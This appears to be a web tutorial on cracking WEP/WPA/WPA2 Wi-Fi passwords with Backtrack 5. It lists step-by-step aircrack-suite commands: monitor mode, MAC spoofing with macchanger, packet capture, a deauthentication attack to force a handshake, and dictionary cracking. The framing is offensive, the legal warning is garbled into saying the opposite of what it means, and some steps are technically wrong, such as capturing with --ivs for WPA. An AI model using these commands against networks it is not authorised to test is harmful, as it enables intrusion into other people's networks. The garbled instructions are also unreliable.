How to Crack WIFI Passwords (WEP/WPA/WPA2) using Backtrack and Fern Wifi Cracker

Warning:::::::Don't hack any  authorized wifi otherwise you go to jail.

Hack Wifi

 Tools

• Vmware Workstation(Download)

• Backtrek 5 (Download)

• Compatible Wifi Card (Optional) 

Rules to follow 

1.Now you First install a Vmware   in your system.
2. Then you create a virtual machine in your Vmware.

3.Then power on your machine. 
4.And  Now your all set to go...just simply follow below steps...now

Steps to Follow 

• •  airmon-ng

  The result will be something like :
  
  

  
  Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0] 

  • airmon-ng start wlan0 

  •  (Optional) Change the mac address of the mon0 interface.

  • ifconfig mon0 down
    

    macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up
 

  • airodump-ng mon0
    
    Then, press "Ctrl+c" to break the program.
  •  airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff --ivs mon0
  *where -c is the channel
             -w is the file to be written
             --bssid is the BSSID
  This terminal is keeping running.open another terminal.
  
  • 
    

    
    aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0
    

    *where -a is the BSSID
               -c is the client MAC address (STATION)
     Wait for the handshake 
    Use the John the Ripper as word list to crack the WPA/WP2 password                              aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivs
  • You can  use your own password wordlist.  or You can download predefined Dictionaries from net.
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